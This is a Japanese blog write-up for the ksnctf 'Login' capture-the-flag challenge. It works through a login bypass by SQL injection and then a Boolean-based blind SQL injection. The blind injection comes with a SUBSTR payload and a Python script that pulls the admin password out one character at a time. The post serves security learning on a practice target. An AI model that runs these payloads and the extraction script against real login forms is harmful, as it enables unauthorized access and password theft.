LoginSignup
0
0

「Login」 ksnctf Writeup

Posted at

問題

次のようなWebページが与えられます。
スクリーンショット 2023-06-30 214616.png

解法

最初にソースコードを確認します。
スクリーンショット 2023-06-30 214721.png
特に参考になる情報はありませんでした。

とりあえず基本のSQLインジェクションをしてみます。
スクリーンショット 2023-06-30 215521.png

ログインに成功しましたが、メッセージが出てきました。
フラグはadminのパスワードであることと、ヒントとして問題ページのPHPコードが表示されました。

image.png

PHPコードから下記のことがわかります。

  • SQLiteを使用
  • userというテーブルがある。
  • id, passというカラムがある。
  • ログイン失敗でエラーメッセージ表示
  • ログイン成功(SQLインジェクションに成功)でCongratulations!ページを表示

このとき、ログイン可否に応じて結果が変化しているためBooleanベースの攻撃ができそうです。ブラインドSQLインジェクションとも呼ばれているみたいです。
Booleanベースの攻撃については参考文献1を参照してください。
参考文献を参考にadminのパスワードの最初の一文字目が'F'か確かめるSQL文を試してみます。

' OR SUBSTR((SELECT pass FROM user WHERE id='admin'), 1, 1)='F' --

上記のSQL文がPHPコード内のqueryに挿入されるとSQLiteには次のようなSQL文が渡されます。

SELECT * FROM user WHERE id='admin' AND pass='' OR SUBSTR((SELECT pass FROM user WHERE id='admin'), 1, 1)='F' --'

SUBSTR関数は指定した文字列の一部を切り出します。
よってここではidがadminであるユーザのpassの文字列の1文字目を切り出してFであるか確かめています。
(フラグフォーマットが'FLAG_XXXXX'であるためFです。)

いい感じに動いたので参考文献の自動化コードを本問題用に修正して実行してみます。

import string
import requests

url ="http://ctfq.u1tramarine.blue/q6/"
payload ="' OR SUBSTR((SELECT pass FROM user WHERE id='admin'),{0},1)='{1}' --"
chars = string.printable
flag = ''

for i in range(0, 1024):
    for c in chars:
        params = {'id' : 'admin', 'pass' : payload.format((i + 1), c)}
        r = requests.post(url, data=params)
        
        if "Congratulations" not in r.text:
            if c == chars[-1]:
                quit() 
            continue
        
        flag += c
        print(flag)
        break

スクリーンショット 2023-06-30 225715.png

フラグが出ました。

参考

  1. 詳解セキュリティコンテスト CTFで学ぶ脆弱性攻略の技術

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0